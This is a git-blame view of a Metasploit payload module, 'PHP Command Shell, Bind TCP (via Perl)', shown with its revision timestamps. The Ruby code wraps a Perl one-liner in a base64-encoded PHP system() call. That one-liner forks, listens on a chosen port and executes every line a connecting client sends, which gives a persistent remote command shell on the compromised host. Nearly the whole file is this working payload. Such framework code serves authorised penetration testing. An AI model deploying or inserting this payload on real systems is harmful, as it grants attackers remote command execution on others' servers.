Files
metasploit-gs/modules/payloads/singles/php/bind_perl.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

52 lines
1.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2006-12-17 07:57:51 +00:00
2016-03-08 14:02:44 +01:00
module MetasploitModule
2006-12-17 07:57:51 +00:00
CachedSize = 230
2006-12-17 07:57:51 +00:00
include Msf::Payload::Single
2010-02-24 01:19:59 +00:00
include Msf::Sessions::CommandShellOptions
2013-08-30 16:28:54 -05:00
2006-12-17 07:57:51 +00:00
def initialize(info = {})
super(merge_info(info,
2012-08-07 15:59:01 -05:00
'Name' => 'PHP Command Shell, Bind TCP (via Perl)',
2006-12-17 07:57:51 +00:00
'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',
2014-07-11 12:45:23 -05:00
'Author' => ['Samy <samy[at]samy.pl>', 'cazz'],
2006-12-17 07:57:51 +00:00
'License' => BSD_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
2013-08-30 16:28:54 -05:00
2006-12-17 07:57:51 +00:00
#
# Constructs the payload
#
2022-11-04 00:33:03 +00:00
def generate(_opts = {})
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'));"
2006-12-17 07:57:51 +00:00
end
2013-08-30 16:28:54 -05:00
2006-12-17 07:57:51 +00:00
#
# Returns the command string to use for execution
#
def command_string
2013-08-30 16:28:54 -05:00
2010-02-24 01:19:59 +00:00
cmd = "perl -MIO -e '$p=fork();exit,if$p;" +
"$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;" +
"$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
2013-08-30 16:28:54 -05:00
2006-12-17 07:57:51 +00:00
return cmd
end
end